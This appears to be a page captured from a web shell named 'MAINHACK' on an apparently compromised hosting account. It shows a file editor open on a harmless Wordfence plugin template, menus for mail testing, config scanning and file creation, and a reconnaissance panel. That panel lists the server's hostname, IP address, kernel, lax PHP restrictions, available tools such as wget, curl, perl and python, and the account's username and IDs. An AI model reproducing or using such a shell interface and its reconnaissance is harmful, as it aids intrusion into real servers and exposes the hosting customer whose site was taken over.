[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: option-textarea.php
<?php if (!defined('WORDFENCE_VERSION')) { exit; } /** * Presents a text area option. * * Expects $textOptionName, $textValue, and $title to be defined. $helpLink, $premium, and $noSpacer may also be defined. * * @var string $textOptionName The option name for the text field. * @var string $textValue The current value of $textOptionName. * @var string $title The title shown for the option. * @var string $helpLink If defined, the link to the corresponding external help page. * @var bool $premium If defined, the option will be tagged as premium only and not allow its value to change for free users. * @var bool $noSpacer If defined and truthy, the spacer will be omitted. */ if (!isset($subtitleHTML) && isset($subtitle)) { $subtitleHTML = esc_html($subtitle); } if (!isset($subtitlePosition)) { //May be 'title' to appear below the title or 'value' to appear below the field $subtitlePosition = 'title'; } $id = 'wf-option-' . preg_replace('/[^a-z0-9]/i', '-', $textOptionName); ?> <ul id="<?php echo esc_attr($id); ?>" class="wf-option wf-option-textarea<?php if (!wfConfig::p() && isset($premium) && $premium) { echo ' wf-option-premium'; } ?>" data-text-option="<?php echo esc_attr($textOptionName); ?>" data-original-text-value="<?php echo esc_attr($textValue); ?>"> <?php if (!isset($noSpacer) || !$noSpacer): ?> <li class="wf-option-spacer"></li> <?php endif; ?> <li class="wf-option-content"> <ul> <li class="wf-option-title<?php if (isset($alignTitle)) { echo $alignTitle == 'top' ? ' wf-option-title-top' : ($alignTitle == 'bottom' ? 'wf-option-title-bottom' : ''); } ?>"> <?php if (isset($subtitleHTML) && $subtitlePosition == 'title'): ?> <ul class="wf-flex-vertical wf-flex-align-left"> <li> <?php endif; ?> <span id="<?php echo esc_attr($id); ?>-label"><?php echo esc_html($title); ?></span><?php if (!wfConfig::p() && isset($premium) && $premium) { echo ' <a href="https://www.wordfence.com/gnl1optionUpgrade/wordfence-signup/" target="_blank" rel="noopener noreferrer" class="wf-premium-link">' . esc_html__('Premium Feature', 'wordfence') . '</a>'; } ?><?php if (isset($helpLink)) { echo ' <a href="' . esc_attr($helpLink) . '" target="_blank" rel="noopener noreferrer" class="wf-inline-help"><i class="wf-fa wf-fa-question-circle-o" aria-hidden="true"></i><span class="screen-reader-text"> (' . esc_html__('opens in new tab', 'wordfence') . ')</span></a>'; } ?> <?php if (isset($subtitleHTML) && $subtitlePosition == 'title'): ?> </li> <li class="wf-option-subtitle"><?php echo $subtitleHTML; ?></li> </ul> <?php endif; ?> </li> <li class="wf-option-textarea"> <?php if (isset($subtitleHTML) && $subtitlePosition == 'value'): ?> <ul class="wf-flex-vertical wf-flex-align-left wf-flex-full-width"> <li> <?php endif; ?> <textarea<?php echo (!(!wfConfig::p() && isset($premium) && $premium) ? '' : ' disabled'); ?> aria-labelledby="<?php echo esc_attr($id); ?>-label"><?php echo esc_html($textValue); ?></textarea> <?php if (isset($subtitleHTML) && $subtitlePosition == 'value'): ?> </li> <li class="wf-option-subtitle"><?php echo $subtitleHTML; ?></li> </ul> <?php endif; ?> </li> </ul> </li> </ul>
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium264.web-hosting.com
Server IP: 69.57.162.13
PHP Version: 8.1.34
Server Software: LiteSpeed
System: Linux premium264.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 73.61 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
No
pkexec:
No
git:
Yes
User Info
Username: kidscntx
User ID (UID): 1154
Group ID (GID): 1112
Script Owner UID: 1154
Current Dir Owner: 1154